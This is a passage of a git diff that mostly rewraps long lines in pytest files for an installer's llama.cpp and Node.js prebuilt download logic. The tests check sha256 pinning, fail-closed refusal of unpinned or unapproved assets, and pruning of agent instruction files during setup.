+        not in setup_sh
+    )
     assert '_remove_agent_instruction_files "$LLAMA_CPP_DIR"' in setup_sh
     assert "-name 'CLAUDE.md'" in setup_sh
     assert 'if [ ! -L "$LLAMA_CPP_DIR" ] && {' in setup_sh
@@ -2281,7 +2344,10 @@ def test_setup_scripts_prune_agent_files_without_shipping_a_repo_copy():
         '    (Join-Path $OxcValidatorDir "node_modules")\n'
         ")"
     ) in setup_ps1
-    assert "Remove-AgentInstructionFiles -Roots @($FrontendDir, $OxcValidatorDir)" not in setup_ps1
+    assert (
+        "Remove-AgentInstructionFiles -Roots @($FrontendDir, $OxcValidatorDir)"
+        not in setup_ps1
+    )
     assert '"CLAUDE.md"' in setup_ps1
     assert '-Include "AGENTS.md", "CLAUDE.md"' not in setup_ps1
     assert '$child.Name -in @("AGENTS.md", "CLAUDE.md")' in setup_ps1
@@ -2293,8 +2359,12 @@ def test_setup_scripts_prune_agent_files_without_shipping_a_repo_copy():
         "Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir\n"
         "            Remove-AgentInstructionFiles -Roots @($LlamaCppDir)"
     ) in setup_ps1
-    assert not (PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "AGENTS.md").exists()
-    assert (PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "README.md").is_file()
+    assert not (
+        PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "AGENTS.md"
+    ).exists()
+    assert (
+        PACKAGE_ROOT / "studio" / "frontend" / "src" / "i18n" / "README.md"
+    ).is_file()
 
 
 def test_setup_sh_cleanup_unlinks_instruction_symlink_only(tmp_path: Path):
@@ -2316,7 +2386,13 @@ def test_setup_sh_cleanup_unlinks_instruction_symlink_only(tmp_path: Path):
         pytest.skip(f"symlinks unavailable: {exc}")
 
     subprocess.run(
-        ["bash", "-c", function + '\n_remove_agent_instruction_files "$1"', "bash", str(managed)],
+        [
+            "bash",
+            "-c",
+            function + '\n_remove_agent_instruction_files "$1"',
+            "bash",
+            str(managed),
+        ],
         check = True,
     )
 
@@ -2836,7 +2912,9 @@ def test_install_prebuilt_same_tag_upstream_failure_uses_older_unsloth_release_p
         (staging_dir / "marker.txt").write_text("ready\n")
         return attempts[0], staging_dir, initial_fallback_used
 
-    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "validate_prebuilt_attempts", fake_validate)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "validate_prebuilt_attempts", fake_validate
+    )
 
     activated = {}
     monkeypatch.setattr(
@@ -2854,7 +2932,10 @@ def test_install_prebuilt_same_tag_upstream_failure_uses_older_unsloth_release_p
 
     install_prebuilt(install_dir, "latest", "unslothai/llama.cpp", "")
 
-    assert attempted == [("b9002", "release-2", "upstream"), ("b9001", "release-1", "upstream")]
+    assert attempted == [
+        ("b9002", "release-2", "upstream"),
+        ("b9001", "release-1", "upstream"),
+    ]
     assert activated["install_dir"] == install_dir
 
 
@@ -2882,7 +2963,9 @@ def add_symlink_to_tar(archive: tarfile.TarFile, name: str, target: str) -> None
     archive.addfile(info)
 
 
-def test_existing_install_matches_choice_fails_when_install_tree_incomplete(tmp_path: Path):
+def test_existing_install_matches_choice_fails_when_install_tree_incomplete(
+    tmp_path: Path,
+):
     """confirm_install_tree guard rejects installs missing critical files."""
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
@@ -2970,7 +3053,9 @@ def test_existing_install_matches_choice_fails_when_install_tree_incomplete(tmp_
     )
 
 
-def test_existing_install_matches_choice_fails_when_install_tree_incomplete_macos(tmp_path: Path):
+def test_existing_install_matches_choice_fails_when_install_tree_incomplete_macos(
+    tmp_path: Path,
+):
     """confirm_install_tree guard rejects macOS arm64 installs missing critical files."""
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
@@ -3176,7 +3261,9 @@ def test_runtime_overlay_cannot_overwrite_main_archive_payload(tmp_path: Path) -
         if expected_sha256:
             actual = hashlib.sha256(Path(target_path).read_bytes()).hexdigest()
             if actual != expected_sha256:
-                raise INSTALL_LLAMA_PREBUILT.PrebuiltFallback(f"sha256 mismatch on {label}")
+                raise INSTALL_LLAMA_PREBUILT.PrebuiltFallback(
+                    f"sha256 mismatch on {label}"
+                )
 
     INSTALL_LLAMA_PREBUILT.download_file_verified = fake_download
     try:
@@ -3188,7 +3275,8 @@ def test_runtime_overlay_cannot_overwrite_main_archive_payload(tmp_path: Path) -
     server = release_dir / "llama-server.exe"
     assert server.exists()
     assert server.read_bytes() == b"MAIN-SERVER", (
-        "runtime archive overwrote main llama-server.exe; " f"got {server.read_bytes()!r}"
+        "runtime archive overwrote main llama-server.exe; "
+        f"got {server.read_bytes()!r}"
     )
     for name in ("cudart64_12.dll", "cublas64_12.dll", "cublasLt64_12.dll"):
         assert (release_dir / name).exists(), f"missing {name}"
@@ -3270,7 +3358,9 @@ def test_linux_runtime_overlay_copies_llama_tool_impl_libraries(tmp_path: Path)
         if expected_sha256:
             actual = hashlib.sha256(Path(target_path).read_bytes()).hexdigest()
             if actual != expected_sha256:
-                raise INSTALL_LLAMA_PREBUILT.PrebuiltFallback(f"sha256 mismatch on {label}")
+                raise INSTALL_LLAMA_PREBUILT.PrebuiltFallback(
+                    f"sha256 mismatch on {label}"
+                )
 
     INSTALL_LLAMA_PREBUILT.download_file_verified = fake_download
     try:
@@ -3288,7 +3378,9 @@ def test_linux_runtime_overlay_copies_llama_tool_impl_libraries(tmp_path: Path)
     assert not (runtime_dir / "llama-cli").exists()
 
 
-def test_python_runtime_dirs_covers_cu13_and_library_bin(monkeypatch, tmp_path: Path) -> None:
+def test_python_runtime_dirs_covers_cu13_and_library_bin(
+    monkeypatch, tmp_path: Path
+) -> None:
     """Installer DLL discovery must scan the same path set as the backend (cu12/cu13/conda layouts + torch/lib)."""
     import site as _site
 
@@ -3348,7 +3440,9 @@ def _run_validate_prebuilt_choice(monkeypatch, tmp_path, *, expected_sha256):
         src, "preferred_source_archive", lambda *a, **k: ("repo", "ref", None, False)
     )
     monkeypatch.setattr(src, "hydrate_source_tree", lambda *a, **k: None)
-    monkeypatch.setattr(src, "install_from_archives", lambda *a, **k: (server_path, quantize_path))
+    monkeypatch.setattr(
+        src, "install_from_archives", lambda *a, **k: (server_path, quantize_path)
+    )
     monkeypatch.setattr(src, "preflight_linux_installed_binaries", lambda *a, **k: None)
     monkeypatch.setattr(src, "preflight_macos_installed_binaries", lambda *a, **k: None)
     monkeypatch.setattr(src, "ensure_repo_shape", lambda *a, **k: None)
@@ -3359,7 +3453,9 @@ def _run_validate_prebuilt_choice(monkeypatch, tmp_path, *, expected_sha256):
         lambda *a, **k: calls.__setitem__("quantize", calls["quantize"] + 1),
     )
     monkeypatch.setattr(
-        src, "validate_server", lambda *a, **k: calls.__setitem__("server", calls["server"] + 1)
+        src,
+        "validate_server",
+        lambda *a, **k: calls.__setitem__("server", calls["server"] + 1),
     )
 
     bundle_name = "app-b9998-linux-x64-cuda13-newer.tar.gz"
@@ -3401,29 +3497,43 @@ def _run_validate_prebuilt_choice(monkeypatch, tmp_path, *, expected_sha256):
     return calls
 
 
-def test_validate_prebuilt_choice_approved_validation_skipped_when_flag_off(tmp_path, monkeypatch):
+def test_validate_prebuilt_choice_approved_validation_skipped_when_flag_off(
+    tmp_path, monkeypatch
+):
     # An approved (sha256-verified) bundle skips the smoke test while the flag is off.
-    calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = "ab" * 32)
+    calls = _run_validate_prebuilt_choice(
+        monkeypatch, tmp_path, expected_sha256 = "ab" * 32
+    )
     assert calls == {"quantize": 0, "server": 0}
 
 
-def test_validate_prebuilt_choice_hashless_build_always_validated(tmp_path, monkeypatch):
+def test_validate_prebuilt_choice_hashless_build_always_validated(
+    tmp_path, monkeypatch
+):
     # A hashless build has no sha256 gate, so the smoke test must run even with the flag off.
     calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = None)
     assert calls == {"quantize": 1, "server": 1}
 
 
-def test_validate_prebuilt_choice_approved_validation_runs_when_flag_enabled(tmp_path, monkeypatch):
+def test_validate_prebuilt_choice_approved_validation_runs_when_flag_enabled(
+    tmp_path, monkeypatch
+):
     # _RUN_STAGED_PREBUILT_VALIDATION back on restores the smoke test for approved bundles too.
     monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_RUN_STAGED_PREBUILT_VALIDATION", True)
-    calls = _run_validate_prebuilt_choice(monkeypatch, tmp_path, expected_sha256 = "ab" * 32)
+    calls = _run_validate_prebuilt_choice(
+        monkeypatch, tmp_path, expected_sha256 = "ab" * 32
+    )
     assert calls == {"quantize": 1, "server": 1}
 
 
-def test_diffusion_visual_server_uses_approved_checksum_download(monkeypatch, tmp_path: Path):
+def test_diffusion_visual_server_uses_approved_checksum_download(
+    monkeypatch, tmp_path: Path
+):
     asset_name = "llama-diffusion-gemma-visual-server-linux-x64"
     expected_sha = "a" * 64
-    asset_url = "https://github.com/unslothai/llama.cpp/releases/download/b9334/" + asset_name
+    asset_url = (
+        "https://github.com/unslothai/llama.cpp/releases/download/b9334/" + asset_name
+    )
     calls: list[tuple[str, Path, str | None, str | None]] = []
 
     monkeypatch.setattr(
@@ -3433,7 +3543,9 @@ def test_diffusion_visual_server_uses_approved_checksum_download(monkeypatch, tm
     )
 
     def fake_download_file(url, destination):
-        raise AssertionError("diffusion visual server must not use unverified download_file")
+        raise AssertionError(
+            "diffusion visual server must not use unverified download_file"
+        )
 
     def fake_download_file_verified(url, destination, *, expected_sha256, label):
         calls.append((url, Path(destination), expected_sha256, label))
@@ -3451,7 +3563,9 @@ def test_diffusion_visual_server_uses_approved_checksum_download(monkeypatch, tm
         approved_release_checksums_for_asset(asset_name, expected_sha),
     )
 
-    target = tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    target = (
+        tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    )
     assert calls == [
         (
             asset_url,
@@ -3464,7 +3578,9 @@ def test_diffusion_visual_server_uses_approved_checksum_download(monkeypatch, tm
     assert target.stat().st_mode & 0o777 == 0o755
 
 
-def test_diffusion_visual_server_refuses_unapproved_release_asset(monkeypatch, tmp_path: Path):
+def test_diffusion_visual_server_refuses_unapproved_release_asset(
+    monkeypatch, tmp_path: Path
+):
     asset_name = "llama-diffusion-gemma-visual-server-attacker-linux"
     verified_calls: list[str] = []
     raw_calls: list[str] = []
@@ -3498,7 +3614,9 @@ def test_diffusion_visual_server_refuses_unapproved_release_asset(monkeypatch, t
         ),
     )
 
-    target = tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    target = (
+        tmp_path / "install" / "build" / "bin" / "llama-diffusion-gemma-visual-server"
+    )
     assert not target.exists()
     assert raw_calls == []
     assert verified_calls == []
diff --git a/tests/studio/install/test_install_node_prebuilt_logic.py b/tests/studio/install/test_install_node_prebuilt_logic.py
index 5476702d65..fb38a084ad 100644
--- a/tests/studio/install/test_install_node_prebuilt_logic.py
+++ b/tests/studio/install/test_install_node_prebuilt_logic.py
@@ -17,7 +17,9 @@ import pytest
 
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 MODULE_PATH = PACKAGE_ROOT / "studio" / "install_node_prebuilt.py"
-SPEC = importlib.util.spec_from_file_location("studio_install_node_prebuilt", MODULE_PATH)
+SPEC = importlib.util.spec_from_file_location(
+    "studio_install_node_prebuilt", MODULE_PATH
+)
 assert SPEC is not None and SPEC.loader is not None
 M = importlib.util.module_from_spec(SPEC)
 sys.modules[SPEC.name] = M
@@ -55,13 +57,22 @@ def test_detect_host(monkeypatch, system, machine, exp_os, exp_arch, exp_ext):
     monkeypatch.setattr(M.platform, "system", lambda: system)
     monkeypatch.setattr(M.platform, "machine", lambda: machine)
     host = M.detect_host()
-    assert (host.node_os, host.node_arch, host.archive_ext) == (exp_os, exp_arch, exp_ext)
+    assert (host.node_os, host.node_arch, host.archive_ext) == (
+        exp_os,
+        exp_arch,
+        exp_ext,
+    )
     assert host.is_windows == (exp_os == "win")
 
 
 @pytest.mark.parametrize(
     "system,machine",
-    [("Plan9", "x86_64"), ("Linux", "sparc64"), ("Linux", "armv7l"), ("Linux", "armhf")],
+    [
+        ("Plan9", "x86_64"),
+        ("Linux", "sparc64"),
+        ("Linux", "armv7l"),
+        ("Linux", "armhf"),
+    ],
 )
 def test_detect_host_unsupported(monkeypatch, system, machine):
     monkeypatch.setattr(M.platform, "system", lambda: system)
@@ -86,7 +97,10 @@ def test_asset_windows_is_zip():
 
 
 def test_shasums_url():
-    assert M.node_shasums_url("24.17.0") == "https://nodejs.org/dist/v24.17.0/SHASUMS256.txt"
+    assert (
+        M.node_shasums_url("24.17.0")
+        == "https://nodejs.org/dist/v24.17.0/SHASUMS256.txt"
+    )
 
 
 def test_binary_layout_is_host_aware():
@@ -96,7 +110,9 @@ def test_binary_layout_is_host_aware():
     assert M.node_binary_path(Path("/n"), win) == Path("/n/node.exe")
     assert M.node_binary_path(Path("/n"), nix) == Path("/n/bin/node")
     assert M.npm_cli_path(Path("/n"), win) == Path("/n/node_modules/npm/bin/npm-cli.js")
-    assert M.npm_cli_path(Path("/n"), nix) == Path("/n/lib/node_modules/npm/bin/npm-cli.js")
+    assert M.npm_cli_path(Path("/n"), nix) == Path(
+        "/n/lib/node_modules/npm/bin/npm-cli.js"
+    )
 
 
 # ── SHASUMS256.txt parsing ──
@@ -224,7 +240,9 @@ def test_download_file_verified_rejects_mismatch(tmp_path: Path, monkeypatch):
 
     monkeypatch.setattr(M, "download_file", fake_download)
     with pytest.raises(PrebuiltFallback):
-        M.download_file_verified("http://x/a", tmp_path / "a", expected_sha256 = "0" * 64, label = "a")
+        M.download_file_verified(
+            "http://x/a", tmp_path / "a", expected_sha256 = "0" * 64, label = "a"
+        )
 
 
 # ── Lock liveness probe (Windows must not use os.kill(pid, 0)) ──
@@ -237,7 +255,9 @@ def test_pid_is_alive_windows_uses_tasklist_not_os_kill(monkeypatch):
     def fake_run(cmd, **kwargs):
         assert cmd[:2] == ["tasklist", "/FI"]
         assert "PID eq 1234" in cmd
-        return types.SimpleNamespace(stdout = '"node.exe","1234","Console","1","12,345 K"\n')
+        return types.SimpleNamespace(
+            stdout = '"node.exe","1234","Console","1","12,345 K"\n'
+        )
 
     monkeypatch.setattr(M.os, "kill", fail_kill)
     monkeypatch.setattr(M.subprocess, "run", fake_run)
@@ -287,7 +307,9 @@ def test_existing_install_matches_false_without_metadata(tmp_path: Path):
     assert M.existing_install_matches(tmp_path, host, version = "24.17.0") is False
 
 
-def test_existing_install_matches_true_when_version_and_runtime_ok(tmp_path: Path, monkeypatch):
+def test_existing_install_matches_true_when_version_and_runtime_ok(
+    tmp_path: Path, monkeypatch
+):
     host = _host("linux", "x64")
     M.write_metadata(tmp_path, version = "24.17.0", asset = "x", sha256 = "y")
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")
@@ -298,12 +320,16 @@ def test_existing_install_matches_true_when_version_and_runtime_ok(tmp_path: Pat
     assert M.existing_install_matches(tmp_path, host, version = "24.17.0") is False
 
 
-def test_install_prebuilt_short_circuits_when_version_matches(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_short_circuits_when_version_matches(
+    tmp_path: Path, monkeypatch
+):
     install_dir = tmp_path / "node"
     install_dir.mkdir()
     version = M.pinned_default_version(M.load_pins())  # == INDEX's newest LTS
     asset = M.node_asset_name(version, _host("linux", "x64"))
-    pin = M.pinned_sha256(M.load_pins(), version, asset)  # short-circuit now needs the pin
+    pin = M.pinned_sha256(
+        M.load_pins(), version, asset
+    )  # short-circuit now needs the pin
     M.write_metadata(install_dir, version = version, asset = asset, sha256 = pin)
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
     monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
@@ -338,7 +364,9 @@ def _offline(*a, **k):
     raise OSError("nodejs.org unreachable")
 
 
-def test_install_prebuilt_keeps_existing_when_index_unreachable(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_keeps_existing_when_index_unreachable(
+    tmp_path: Path, monkeypatch
+):
     install_dir = tmp_path / "node"
     install_dir.mkdir()
     M.write_metadata(install_dir, version = "24.17.0", asset = "x", sha256 = "y")
@@ -367,7 +395,9 @@ def test_install_prebuilt_reraises_when_index_unreachable_and_no_install(
         M.install_prebuilt(install_dir, channel = "lts", min_major = 24, force = False)
 
 
-def test_install_prebuilt_force_does_not_keep_existing_offline(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_force_does_not_keep_existing_offline(
+    tmp_path: Path, monkeypatch
+):
     install_dir = tmp_path / "node"
     install_dir.mkdir()
     M.write_metadata(install_dir, version = "24.17.0", asset = "x", sha256 = "y")
@@ -410,13 +440,17 @@ def test_install_prebuilt_rejects_explicit_below_floor(tmp_path: Path, monkeypat
         M.install_prebuilt(install_dir, channel = "20.18.0", min_major = 24, force = False)
 
 
-def test_install_prebuilt_keeps_existing_when_download_fails(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_keeps_existing_when_download_fails(
+    tmp_path: Path, monkeypatch
+):
     # Archive download fails but a usable older Node is on disk -> keep it.
     install_dir = tmp_path / "node"
     install_dir.mkdir()
     M.write_metadata(install_dir, version = "24.9.0", asset = "x", sha256 = "y")
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
-    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # newest LTS = 24.18.0 (pinned)
+    monkeypatch.setattr(
+        M, "fetch_json", lambda url: INDEX
+    )  # newest LTS = 24.18.0 (pinned)
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
     monkeypatch.setattr(M, "download_file_verified", _offline)  # archive download fails
@@ -424,7 +458,9 @@ def test_install_prebuilt_keeps_existing_when_download_fails(tmp_path: Path, mon
     assert rc == M.EXIT_SUCCESS
 
 
-def test_install_prebuilt_reraises_download_failure_without_existing(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_reraises_download_failure_without_existing(
+    tmp_path: Path, monkeypatch
+):
     install_dir = tmp_path / "node"  # nothing usable on disk
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
     monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)
@@ -461,7 +497,9 @@ def test_ensure_npm_floor_scopes_upgrade_to_install_dir(tmp_path: Path, monkeypa
     install_dir = tmp_path / "node"
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 10)
     calls = []
-    monkeypatch.setattr(M, "_run_node", lambda d, h, args, **kw: calls.append((d, args)) or "")
+    monkeypatch.setattr(
+        M, "_run_node", lambda d, h, args, **kw: calls.append((d, args)) or ""
+    )
     M._ensure_npm_floor(install_dir, _host("linux", "x64"))
     assert len(calls) == 1
     target_dir, args = calls[0]
@@ -473,7 +511,9 @@ def test_ensure_npm_floor_noop_when_npm_meets_bar(tmp_path: Path, monkeypatch):
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: M.NPM_MIN_MAJOR)
 
     def boom(*a, **k):
-        raise AssertionError("must not run an npm upgrade when npm already meets the floor")
+        raise AssertionError(
+            "must not run an npm upgrade when npm already meets the floor"
+        )
 
     monkeypatch.setattr(M, "_run_node", boom)
     M._ensure_npm_floor(tmp_path / "node", _host("linux", "x64"))
@@ -548,7 +588,9 @@ def test_resolve_expected_sha256_failcloses_on_unpinned(monkeypatch):
     pins = M.load_pins()
 
     def boom(*a, **k):
-        raise AssertionError("must not reach the network when refusing an unpinned version")
+        raise AssertionError(
+            "must not reach the network when refusing an unpinned version"
+        )
 
     monkeypatch.setattr(M, "download_bytes", boom)
     with pytest.raises(PrebuiltFallback):
@@ -561,7 +603,9 @@ def test_resolve_expected_sha256_optin_falls_back_to_remote_shasums(monkeypatch)
     pins = M.load_pins()
     asset = "node-v26.3.1-linux-x64.tar.gz"
     remote_sha = "d" * 64
-    monkeypatch.setattr(M, "download_bytes", lambda url, **k: f"{remote_sha}  {asset}\n".encode())
+    monkeypatch.setattr(
+        M, "download_bytes", lambda url, **k: f"{remote_sha}  {asset}\n".encode()
+    )
     # Only with the explicit opt-in does the legacy remote-checksum path run.
     sha = M.resolve_expected_sha256(pins, "26.3.1", asset, allow_unverified = True)
     assert sha == remote_sha
@@ -569,28 +613,41 @@ def test_resolve_expected_sha256_optin_falls_back_to_remote_shasums(monkeypatch)
 
 @pytest.mark.parametrize(
     "value,expected",
-    [("1", True), ("true", True), ("YES", True), ("on", True), ("0", False), ("", False)],
+    [
+        ("1", True),
+        ("true", True),
+        ("YES", True),
+        ("on", True),
+        ("0", False),
+        ("", False),
+    ],
 )
 def test_allow_unverified_node_reads_env(monkeypatch, value, expected):
     monkeypatch.setenv(M.ALLOW_UNVERIFIED_ENV, value)
     assert M.allow_unverified_node() is expected
 
 
-def test_install_prebuilt_default_channel_resolves_pinned_version(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_default_channel_resolves_pinned_version(
+    tmp_path: Path, monkeypatch
+):
     # Default channel installs the pinned version with no index.json round-trip.
     pins = M.load_pins()
     version = M.pinned_default_version(pins)
     install_dir = tmp_path / "node"
     install_dir.mkdir()
     asset = M.node_asset_name(version, _host("linux", "x64"))
-    pin = M.pinned_sha256(pins, version, asset)  # kept only if the recorded digest is the pin
+    pin = M.pinned_sha256(
+        pins, version, asset
+    )  # kept only if the recorded digest is the pin
     M.write_metadata(install_dir, version = version, asset = asset, sha256 = pin)
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
 
     def boom(*a, **k):
-        raise AssertionError("default channel must not hit nodejs.org when the install matches")
+        raise AssertionError(
+            "default channel must not hit nodejs.org when the install matches"
+        )
 
     monkeypatch.setattr(M, "fetch_json", boom)  # no index.json
     monkeypatch.setattr(M, "download_file", boom)
@@ -603,7 +660,9 @@ def test_install_prebuilt_failcloses_on_unpinned_latest(tmp_path: Path, monkeypa
     # Unpinned `latest`, no opt-in, nothing on disk to keep: refuse.
     install_dir = tmp_path / "node"
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
-    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest overall = 26.3.1 (unpinned)
+    monkeypatch.setattr(
+        M, "fetch_json", lambda url: INDEX
+    )  # latest overall = 26.3.1 (unpinned)
     monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
 
     def boom(*a, **k):
@@ -624,9 +683,13 @@ def test_install_prebuilt_unpinned_refusal_does_not_keep_existing(
     install_dir.mkdir()
     M.write_metadata(install_dir, version = "24.9.0", asset = "old", sha256 = "old")
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
-    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest overall = 26.3.1 (unpinned)
+    monkeypatch.setattr(
+        M, "fetch_json", lambda url: INDEX
+    )  # latest overall = 26.3.1 (unpinned)
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.9.0")
-    monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)  # existing install is usable
+    monkeypatch.setattr(
+        M, "installed_npm_major", lambda d, h: 11
+    )  # existing install is usable
     monkeypatch.delenv(M.ALLOW_UNVERIFIED_ENV, raising = False)
 
     def boom(*a, **k):
@@ -637,7 +700,9 @@ def test_install_prebuilt_unpinned_refusal_does_not_keep_existing(
         M.install_prebuilt(install_dir, channel = channel, min_major = 24, force = False)
 
 
-def test_unpinned_refusal_maps_to_fallback_exit_code(tmp_path: Path, monkeypatch, capsys):
+def test_unpinned_refusal_maps_to_fallback_exit_code(
+    tmp_path: Path, monkeypatch, capsys
+):
     # main() must surface the refusal as EXIT_FALLBACK (setup treats it as a failed
     # install with guidance), not as a success masked by the keep-existing path.
     install_dir = tmp_path / "node"
@@ -662,11 +727,20 @@ def test_resolve_expected_sha256_rejects_malformed_pins():
     asset = "node-v24.17.0-linux-x64.tar.gz"
     assert M.pinned_sha256({"versions": "nope"}, "24.17.0", asset) is None
     assert M.pinned_sha256({"versions": {"24.17.0": "nope"}}, "24.17.0", asset) is None
-    assert M.pinned_sha256({"versions": {"24.17.0": {asset: "x" * 63}}}, "24.17.0", asset) is None
-    assert M.pinned_sha256({"versions": {"24.17.0": {asset: "z" * 64}}}, "24.17.0", asset) is None
+    assert (
+        M.pinned_sha256({"versions": {"24.17.0": {asset: "x" * 63}}}, "24.17.0", asset)
+        is None
+    )
+    assert (
+        M.pinned_sha256({"versions": {"24.17.0": {asset: "z" * 64}}}, "24.17.0", asset)
+        is None
+    )
     # an uppercase but otherwise valid digest is normalized to lowercase
     up = "A" * 64
-    assert M.pinned_sha256({"versions": {"24.17.0": {asset: up}}}, "24.17.0", asset) == up.lower()
+    assert (
+        M.pinned_sha256({"versions": {"24.17.0": {asset: up}}}, "24.17.0", asset)
+        == up.lower()
+    )
     for bad in [{}, {"default_version": ""}, {"default_version": "not-a-version"}]:
         with pytest.raises(PrebuiltFallback):
             M.pinned_default_version(bad)
@@ -675,10 +749,14 @@ def test_resolve_expected_sha256_rejects_malformed_pins():
 def test_install_prebuilt_optin_takes_remote_shasums_path(tmp_path: Path, monkeypatch):
     # With the opt-in set, an unpinned version drives the remote-SHASUMS path end to
     # end: fetch SHASUMS256.txt, then the verified archive download (no refusal).
-    install_dir = tmp_path / "node"  # nothing on disk -> errors re-raise, not keep-existing
+    install_dir = (
+        tmp_path / "node"
+    )  # nothing on disk -> errors re-raise, not keep-existing
     asset = "node-v26.3.1-linux-x64.tar.gz"
     monkeypatch.setattr(M, "detect_host", lambda: _host("linux", "x64"))
-    monkeypatch.setattr(M, "fetch_json", lambda url: INDEX)  # latest = 26.3.1 (unpinned)
+    monkeypatch.setattr(
+        M, "fetch_json", lambda url: INDEX
+    )  # latest = 26.3.1 (unpinned)
     monkeypatch.setenv(M.ALLOW_UNVERIFIED_ENV, "1")
     shasums_fetched = {"n": 0}
 
@@ -722,12 +800,22 @@ def test_existing_install_matches_enforces_expected_sha(tmp_path: Path, monkeypa
     M.write_metadata(tmp_path, version = "24.17.0", asset = "x", sha256 = "aa")
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: "24.17.0")
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
-    assert M.existing_install_matches(tmp_path, host, version = "24.17.0") is True  # back-compat
-    assert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "aa") is True
-    assert M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "bb") is False
+    assert (
+        M.existing_install_matches(tmp_path, host, version = "24.17.0") is True
+    )  # back-compat
+    assert (
+        M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "aa")
+        is True
+    )
+    assert (
+        M.existing_install_matches(tmp_path, host, version = "24.17.0", expected_sha = "bb")
+        is False
+    )
 
 
-def test_install_prebuilt_refuses_existing_unpinned_install(tmp_path: Path, monkeypatch):
+def test_install_prebuilt_refuses_existing_unpinned_install(
+    tmp_path: Path, monkeypatch
+):
     # Codex P2: an unpinned version already on disk must still fail closed without the
     # opt-in, not be kept by the version-only short-circuit.
     install_dir = tmp_path / "node"
@@ -746,7 +834,9 @@ def test_install_prebuilt_refuses_existing_unpinned_install(tmp_path: Path, monk
         M.install_prebuilt(install_dir, channel = "26.3.1", min_major = 24, force = False)
 
 
-def test_pinned_target_wrong_sha_not_kept_when_download_fails(tmp_path: Path, monkeypatch):
+def test_pinned_target_wrong_sha_not_kept_when_download_fails(
+    tmp_path: Path, monkeypatch
+):
     # Symmetry with the short-circuit guard: the transient-failure fallback must not
     # keep a same-version install whose recorded digest is not the pin. (A different
     # usable version is still kept for offline resilience -- covered above.)
@@ -755,10 +845,14 @@ def test_pinned_target_wrong_sha_not_kept_when_download_fails(tmp_path: Path, mo
     asset = M.node_asset_name(version, host)
     install_dir = tmp_path / "node"
     install_dir.mkdir()
-    M.write_metadata(install_dir, version = version, asset = asset, sha256 = "0" * 64)  # not the pin
+    M.write_metadata(
+        install_dir, version = version, asset = asset, sha256 = "0" * 64
+    )  # not the pin
     monkeypatch.setattr(M, "detect_host", lambda: host)
     monkeypatch.setattr(M, "installed_node_version", lambda d, h: version)
     monkeypatch.setattr(M, "installed_npm_major", lambda d, h: 11)
-    monkeypatch.setattr(M, "download_file_verified", _offline)  # transient download failure
+    monkeypatch.setattr(
+        M, "download_file_verified", _offline
+    )  # transient download failure
     with pytest.raises(OSError):
         M.install_prebuilt(install_dir, channel = "pinned", min_major = 24, force = False)
diff --git a/tests/studio/install/test_llama_pr_force_and_source.py b/tests/studio/install/test_llama_pr_force_and_source.py
index 4ff8c349c3..9a6523b3db 100644
--- a/tests/studio/install/test_llama_pr_force_and_source.py
+++ b/tests/studio/install/test_llama_pr_force_and_source.py
@@ -352,7 +352,10 @@ class TestSourcePatternsSh:
         assert '_DEFAULT_LLAMA_PR_FORCE=""' in self.content
 
     def test_has_default_source(self):
-        assert '_DEFAULT_LLAMA_SOURCE="https://github.com/ggml-org/llama.cpp"' in self.content
+        assert (
+            '_DEFAULT_LLAMA_SOURCE="https://github.com/ggml-org/llama.cpp"'
+            in self.content
+        )
 
     def test_has_pr_force_env_read(self):
         assert "UNSLOTH_LLAMA_PR_FORCE" in self.content
@@ -404,7 +407,9 @@ class TestSourcePatternsSh:
         lines = self.content.splitlines()
         for i, line in enumerate(lines, 1):
             if "git clone" in line and "ggml-org/llama.cpp.git" in line:
-                pytest.fail(f"Line {i} has hardcoded ggml-org clone URL: {line.strip()}")
+                pytest.fail(
